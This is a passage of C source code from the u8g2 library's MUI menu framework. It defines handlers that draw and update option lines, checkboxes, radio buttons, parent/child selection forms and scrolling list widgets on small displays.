mui_fds_get_nth_token(ui, *value) == 0 ) \n        *value = 0;      \n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( *value > 0 ) \n        (*value)--;\n      else\n        (*value) = mui_fds_get_token_cnt(ui)-1;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_opt_line_wa_mse_pf(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( mui_fds_get_nth_token(ui, *value) == 0 )\n      {\n        *value = 0;\n        mui_fds_get_nth_token(ui, *value);\n      }\n      mui_u8g2_draw_button_pf(ui, ui->arg, 1, ui->text);\n      \n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n      (*value)++;\n      if ( mui_fds_get_nth_token(ui, *value) == 0 ) \n        *value = 0;      \n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( *value > 0 ) \n        (*value)--;\n      else\n        (*value) = mui_fds_get_token_cnt(ui)-1;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_opt_line_wa_mud_pi(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( mui_fds_get_nth_token(ui, *value) == 0 )\n      {\n        *value = 0;\n        mui_fds_get_nth_token(ui, *value);\n      }\n      mui_u8g2_draw_button_pi(ui, ui->arg, 1, ui->text);\n      \n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      /* toggle between normal mode and capture next/prev mode */\n       ui->is_mud = !ui->is_mud;\n     break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( ui->is_mud )\n      {\n        (*value)++;\n        if ( mui_fds_get_nth_token(ui, *value) == 0 ) \n          *value = 0;      \n        return 1;\n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( ui->is_mud )\n      {\n        if ( *value == 0 )\n          *value = mui_fds_get_token_cnt(ui);\n        (*value)--;\n        return 1;\n      }\n      break;\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_opt_line_wa_mud_pf(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( mui_fds_get_nth_token(ui, *value) == 0 )\n      {\n        *value = 0;\n        mui_fds_get_nth_token(ui, *value);\n      }\n      mui_u8g2_draw_button_pf(ui, ui->arg, 1, ui->text);\n      \n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      /* toggle between normal mode and capture next/prev mode */\n       ui->is_mud = !ui->is_mud;\n     break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( ui->is_mud )\n      {\n        (*value)++;\n        if ( mui_fds_get_nth_token(ui, *value) == 0 ) \n          *value = 0;      \n        return 1;\n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( ui->is_mud )\n      {\n        if ( *value == 0 )\n          *value = mui_fds_get_token_cnt(ui);\n        (*value)--;\n        return 1;\n      }\n      break;\n  }\n  return 0;\n}\n\n\n\n/*\n\n  uint8_t mui_u8g2_u8_chkbox_wm_pi(mui_t *ui, uint8_t msg)\n  \n  Description:\n    Checkbox with the values 0 (not selected) and 1 (selected). \n\n  Message Handling: DRAW, SELECT\n\n  Style\n    No Selection: Plain checkbox and text\n    Cursor Selection: Checkbox and text is inverted\n\n  User interface field list (muif):\n    flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE\n    data: uint8_t *, pointer to a uint8_t variable, which contains the values 0 or 1\n\n  Field definition string (fds):\n    xy: Left position of the text (required)\n    arg: not used\n    text: Optional: Text will be printed after the checkbox with a small gap\n    \n*/\n\nuint8_t mui_u8g2_u8_chkbox_wm_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  u8g2_uint_t flags = 0;\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( *value > 1 ) *value = 1;\n      if ( mui_IsCursorFocus(ui) )\n      {\n        flags |= U8G2_BTN_INV;\n      }\n      \n      {\n        u8g2_uint_t w = 0;\n        u8g2_uint_t a = u8g2_GetAscent(u8g2);\n        if ( *value )\n          u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 1);\n        else\n          u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 0);\n        \n        if ( ui->text[0] != '\\0' )\n        {\n          w =  u8g2_GetUTF8Width(u8g2, ui->text);\n          //u8g2_SetFontMode(u8g2, 1);\n          a += 2;       /* add gap between the checkbox and the text area */\n          u8g2_DrawUTF8(u8g2, mui_get_x(ui)+a, mui_get_y(ui), ui->text);\n        }\n        \n        u8g2_DrawButtonFrame(u8g2, mui_get_x(ui), mui_get_y(ui), flags, w+a, 1, MUI_U8G2_V_PADDING);\n      }\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      (*value)++;\n      if ( *value > 1 ) *value = 0;      \n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\n/*\n  radio button style, arg is assigned as value\n*/\nuint8_t mui_u8g2_u8_radio_wm_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  u8g2_uint_t flags = 0;\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n       if ( mui_IsCursorFocus(ui) )\n      {\n        flags |= U8G2_BTN_INV;\n      }\n      \n      {\n        u8g2_uint_t w = 0;\n        u8g2_uint_t a = u8g2_GetAscent(u8g2);\n        if ( *value == ui->arg )\n          u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 1);\n        else\n          u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 0);\n        \n        if ( ui->text[0] != '\\0' )\n        {\n          w =  u8g2_GetUTF8Width(u8g2, ui->text);\n          //u8g2_SetFontMode(u8g2, 1);\n          a += 2;       /* add gap between the checkbox and the text area */\n          u8g2_DrawUTF8(u8g2, mui_get_x(ui)+a, mui_get_y(ui), ui->text);\n        }\n        \n        u8g2_DrawButtonFrame(u8g2, mui_get_x(ui), mui_get_y(ui), flags, w+a, 1, MUI_U8G2_V_PADDING);\n      }\n      break;\n   case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      *value = ui->arg;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;  \n}\n\n\nuint8_t mui_u8g2_u8_opt_parent_wm_pi(mui_t *ui, uint8_t msg)\n{\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( mui_fds_get_nth_token(ui, *value) == 0 )\n      {\n        *value = 0;\n        mui_fds_get_nth_token(ui, *value);\n      }      \n      mui_u8g2_draw_button_pi(ui, 0, 1, ui->text);\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text);\n      \n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      mui_SaveForm(ui);          // store the current form and position so that the child can jump back\n      mui_GotoForm(ui, ui->arg, *value);  // assumes that the selectable values are at the beginning of the form definition\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_u8_opt_child_mse_common(mui_t *ui, uint8_t msg)\n{\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  uint8_t arg = ui->arg;        // remember the arg value, because it might be overwritten\n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      /* done by the calling function */\n      break;\n    case MUIF_MSG_FORM_START:\n      /* we can assume that the list starts at the top. It will be adjisted by cursor down events later */\n      /* ui->form_scroll_top = 0 and all other form_scroll values are set to 0 if a new form is entered in mui_EnterForm() */\n      if ( ui->form_scroll_visible <= arg )\n        ui->form_scroll_visible = arg+1;\n      if ( ui->form_scroll_total == 0 )\n          ui->form_scroll_total = mui_GetSelectableFieldOptionCnt(ui, ui->last_form_fds);\n      //printf(\"MUIF_MSG_FORM_START: arg=%d visible=%d top=%d total=%d\\n\", arg, ui->form_scroll_visible, ui->form_scroll_top, ui->form_scroll_total);\n      break;\n    case MUIF_MSG_FORM_END:  \n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      return mui_u8g2_handle_scroll_next_prev_events(ui, msg);\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( value != NULL )\n        *value = ui->form_scroll_top + arg;\n      mui_RestoreForm(ui);\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      return mui_u8g2_handle_scroll_next_prev_events(ui, msg);\n    case MUIF_MSG_EVENT_PREV:\n      return mui_u8g2_handle_scroll_next_prev_events(ui, msg);\n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_u8_opt_radio_child_wm_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  uint8_t arg = ui->arg;        // remember the arg value, because it might be overwritten\n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      {\n        u8g2_uint_t w = 0;\n        u8g2_uint_t a = u8g2_GetAscent(u8g2) - 2;\n        u8g2_uint_t x = mui_get_x(ui);   // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        u8g2_uint_t y = mui_get_y(ui);  // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        uint8_t is_focus = mui_IsCursorFocus(ui);\n        if ( *value == arg + ui->form_scroll_top )\n          u8g2_DrawValueMark(u8g2, x, y, a);\n\n        if ( ui->text[0] == '\\0' )\n        {\n          /* if the text is not provided, then try to get the text from the previous (saved) element, assuming that this contains the selection */\n          /* this will overwrite all ui member functions, so we must not access any ui members (except ui->text) any more */\n          mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top);\n        }\n        \n        if ( ui->text[0] != '\\0' )\n        {\n          w =  u8g2_GetUTF8Width(u8g2, ui->text);\n          //u8g2_SetFontMode(u8g2, 1);\n          a += 2;       /* add gap between the checkbox and the text area */\n          u8g2_DrawUTF8(u8g2, x+a, y, ui->text);\n        }        \n        if ( is_focus )\n        {\n          u8g2_DrawButtonFrame(u8g2, x, y, U8G2_BTN_INV, w+a, 1, MUI_U8G2_V_PADDING);\n        }\n      }\n      break;\n    default:\n      return mui_u8g2_u8_opt_child_mse_common(ui, msg);\n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_u8_opt_radio_child_w1_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  uint8_t arg = ui->arg;        // remember the arg value, because it might be overwritten\n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      {\n        //u8g2_uint_t w = 0;\n        u8g2_uint_t a = u8g2_GetAscent(u8g2) - 2;\n        u8g2_uint_t x = mui_get_x(ui);   // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        u8g2_uint_t y = mui_get_y(ui);  // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        uint8_t is_focus = mui_IsCursorFocus(ui);\n        \n        if ( *value == arg + ui->form_scroll_top )\n          u8g2_DrawValueMark(u8g2, x, y, a);\n\n        if ( ui->text[0] == '\\0' )\n        {\n          /* if the text is not provided, then try to get the text from the previous (saved) element, assuming that this contains the selection */\n          /* this will overwrite all ui member functions, so we must not access any ui members (except ui->text) any more */\n          mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top);\n        }\n        \n        if ( ui->text[0] != '\\0' )\n        {\n          //w =  u8g2_GetUTF8Width(u8g2, ui->text);\n          //u8g2_SetFontMode(u8g2, 1);\n          a += 2;       /* add gap between the checkbox and the text area */\n          u8g2_DrawUTF8(u8g2, x+a, y, ui->text);\n        }        \n        if ( is_focus )\n        {\n          u8g2_DrawButtonFrame(u8g2, 0, y, U8G2_BTN_INV, u8g2_GetDisplayWidth(u8g2), 0, MUI_U8G2_V_PADDING);\n        }\n      }\n      break;\n    default:\n      return mui_u8g2_u8_opt_child_mse_common(ui, msg);\n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_u8_opt_child_wm_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  //uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  uint8_t arg = ui->arg;        // remember the arg value, because it might be overwritten\n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      {\n        //u8g2_uint_t w = 0;\n        u8g2_uint_t x = mui_get_x(ui);   // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        u8g2_uint_t y = mui_get_y(ui);  // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        uint8_t flags = mui_u8g2_get_pi_flags(ui);\n        //if ( mui_IsCursorFocus(ui) )\n        //{\n        //  flags = U8G2_BTN_INV;\n        //}\n\n        if ( ui->text[0] == '\\0' )\n        {\n          /* if the text is not provided, then try to get the text from the previous (saved) element, assuming that this contains the selection */\n          /* this will overwrite all ui member functions, so we must not access any ui members (except ui->text) any more */\n          mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top);\n        }\n        if ( ui->text[0] != '\\0' )\n        {\n          u8g2_DrawButtonUTF8(u8g2, x, y, flags, 0, 1, MUI_U8G2_V_PADDING, ui->text);\n        }        \n      }\n      break;\n    default:\n      return mui_u8g2_u8_opt_child_mse_common(ui, msg);\n  }\n  return 0;\n}\n\n/* \n  an invisible field (which will not show anything). It should also not be selectable \n  it just provides the menu entries, see \"mui_u8g2_u8_opt_child_mse_common\" and friends \n  as a consequence it does not have width, input mode and style\n\n  MUIF: MUIF_RO()\n  FDS: MUI_DATA()\n\n  mui_u8g2_goto_parent --> mui_u8g2_goto_data\n\n  Used together with mui_u8g2_goto_form_w1_pi\n\n*/\nuint8_t mui_u8g2_goto_data(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      break;\n    case MUIF_MSG_FORM_START:\n      // store the field (and the corresponding elements) in the last_form_fds variable.\n      // last_form_fds is later used to access the elements (see mui_u8g2_u8_opt_child_mse_common and friends)\n      ui->last_form_fds = ui->fds;\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\n\n/*\nmui_u8g2_goto_child_w1_mse_pi --> mui_u8g2_goto_form_w1_pi\n*/\nuint8_t mui_u8g2_goto_form_w1_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t arg = ui->arg;        // remember the arg value, because it might be overwritten  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top) )\n        mui_u8g2_draw_button_pi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui), ui->text+1);\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n      if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, ui->arg + ui->form_scroll_top) )\n      {\n        mui_SaveCursorPosition(ui, ui->arg + ui->form_scroll_top);     // store the current cursor position, so that the user can jump back to the corresponding cursor position\n        return mui_GotoFormAutoCursorPosition(ui, (uint8_t)ui->text[0]);\n      }\n      break;\n    default:\n      return mui_u8g2_u8_opt_child_mse_common(ui, msg);\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_goto_form_w1_pf(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t arg = ui->arg;        // remember the arg value, because it might be overwritten  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top) )\n        mui_u8g2_draw_button_pf(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui)-1, ui->text+1);\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n      if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, ui->arg + ui->form_scroll_top) )\n      {\n        mui_SaveCursorPosition(ui, ui->arg + ui->form_scroll_top);     // store the current cursor position, so that the user can jump back to the corresponding cursor position\n        return mui_GotoFormAutoCursorPosition(ui, (uint8_t)ui->text[0]);\n     }\n      break;\n    default:\n      return mui_u8g2_u8_opt_child_mse_common(ui, msg);\n  }\n  return 0;\n}\n\n\n/*\n  data: mui_u8g2_list_t *\n*/\nuint8_t mui_u8g2_u16_list_line_wa_mse_pi(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif);\n  uint16_t *selection =  mui_u8g2_list_get_selection_ptr(list);\n  void *data = mui_u8g2_list_get_data_ptr(list);\n  mui_u8g2_get_list_element_cb element_cb =  mui_u8g2_list_get_element_cb(list);\n  mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list);\n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_pi(ui, ui->arg, 1, element_cb(data, *selection));\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, element_cb(data, *selection));\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n      (*selection)++;\n      if ( *selection >= count_cb(data) ) \n        *selection = 0;\n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( *selection > 0 )\n        (*selection)--;\n      else\n        (*selection) = count_cb(data)-1;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u16_list_line_wa_mud_pi(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif);\n  uint16_t *selection =  mui_u8g2_list_get_selection_ptr(list);\n  void *data = mui_u8g2_list_get_data_ptr(list);\n  mui_u8g2_get_list_element_cb element_cb =  mui_u8g2_list_get_element_cb(list);\n  mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list);\n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_pi(ui, ui->arg, 1, element_cb(data, *selection));\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, element_cb(data, *selection));\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      /* toggle between normal mode and capture next/prev mode */\n       ui->is_mud = !ui->is_mud;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( ui->is_mud )\n      {\n        (*selection)++;\n        if ( *selection >= count_cb(data)  ) \n          *selection = 0;      \n        return 1;\n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( ui->is_mud )\n      {\n        if ( *selection == 0 )\n          *selection = count_cb(data);\n        (*selection)--;\n        return 1;\n      }\n      break;\n  }\n  return 0;\n}\n\n/*\n  MUIF: MUIF_U8G2_U16_LIST\n  FDS: MUI_XYA, arg=form id\n  data: mui_u8g2_list_t *\n*/\nuint8_t mui_u8g2_u16_list_parent_wm_pi(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif);\n  uint16_t *selection =  mui_u8g2_list_get_selection_ptr(list);\n  void *data = mui_u8g2_list_get_data_ptr(list);\n  mui_u8g2_get_list_element_cb element_cb =  mui_u8g2_list_get_element_cb(list);\n  //mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_pi(ui, 0, 1, element_cb(data, *selection));\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, element_cb(data, *selection));\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      mui_SaveForm(ui);          // store the current form and position so that the child can jump back\n      mui_GotoForm(ui, ui->arg, *selection);  // assumes that the selectable values are at the beginning of the form definition\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\nstatic uint8_t mui_u8g2_u16_list_child_mse_common(mui_t *ui, uint8_t msg)\n{\n  mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif);\n  uint16_t *selection =  mui_u8g2_list_get_selection_ptr(list);\n  void *data = mui_u8g2_list_get_data_ptr(list);\n  //mui_u8g2_get_list_element_cb element_cb =  mui_u8g2_list_get_element_cb(list);\n  mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list);\n\n  uint8_t arg = ui->arg;        // remember the arg value, because it might be overwritten  \n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      /* done by the calling function */\n      break;\n    case MUIF_MSG_FORM_START:\n      /* we can assume that the list starts at the top. It will be adjisted by cursor down events later */\n      ui->form_scroll_top = 0;\n      if ( ui->form_scroll_visible <= arg )\n        ui->form_scroll_visible = arg+1;\n      if ( ui->form_scroll_total == 0 )\n          ui->form_scroll_total = count_cb(data);\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      return mui_u8g2_handle_scroll_next_prev_events(ui, msg);\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( selection != NULL )\n        *selection = ui->form_scroll_top + arg;\n      mui_RestoreForm(ui);\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      return mui_u8g2_handle_scroll_next_prev_events(ui, msg);\n    case MUIF_MSG_EVENT_PREV:\n      return mui_u8g2_handle_scroll_next_prev_events(ui, msg);\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u16_list_child_w1_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif);\n  uint16_t *selection =  mui_u8g2_list_get_selection_ptr(list);\n  void *data = mui_u8g2_list_get_data_ptr(list);\n  mui_u8g2_get_list_element_cb element_cb =  mui_u8g2_list_get_element_cb(list);\n  mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list);\n  uint16_t pos = ui->arg;        // remember the arg value, because it might be overwritten  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      {\n        //u8g2_uint_t w = 0;\n        u8g2_uint_t a = u8g2_GetAscent(u8g2) - 2;\n        u8g2_uint_t x = mui_get_x(ui);   // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        u8g2_uint_t y = mui_get_y(ui);  // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value\n        uint8_t is_focus = mui_IsCursorFocus(ui);\n\n        pos += ui->form_scroll_top;\n        \n        if ( *selection == pos )\n          u8g2_DrawValueMark(u8g2, x, y, a);\n\n        //u8g2_SetFontMode(u8g2, 1);\n        a += 2;       /* add gap between the checkbox and the text area */\n        if ( pos < count_cb(data) )\n          u8g2_DrawUTF8(u8g2, x+a, y, element_cb(data, pos));\n        if ( is_focus )\n        {\n          u8g2_DrawButtonFrame(u8g2, 0, y, U8G2_BTN_INV, u8g2_GetDisplayWidth(u8g2), 0, MUI_U8G2_V_PADDING);\n        }\n      }\n      break;\n    default:\n      return mui_u8g2_u16_list_child_mse_common(ui, msg);\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u16_list_goto_w1_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif);\n  uint16_t *selection =  mui_u8g2_list_get_selection_ptr(list);\n  void *data = mui_u8g2_list_get_data_ptr(list);\n  mui_u8g2_get_list_element_cb element_cb =  mui_u8g2_list_get_element_cb(list);\n  //mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list);\n\n  uint16_t pos = ui->arg;        // remember the arg value, because it might be overwritten  \n  pos += ui->form_scroll_top;\n  \n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_pi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui), element_cb(data, pos)+1);\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), 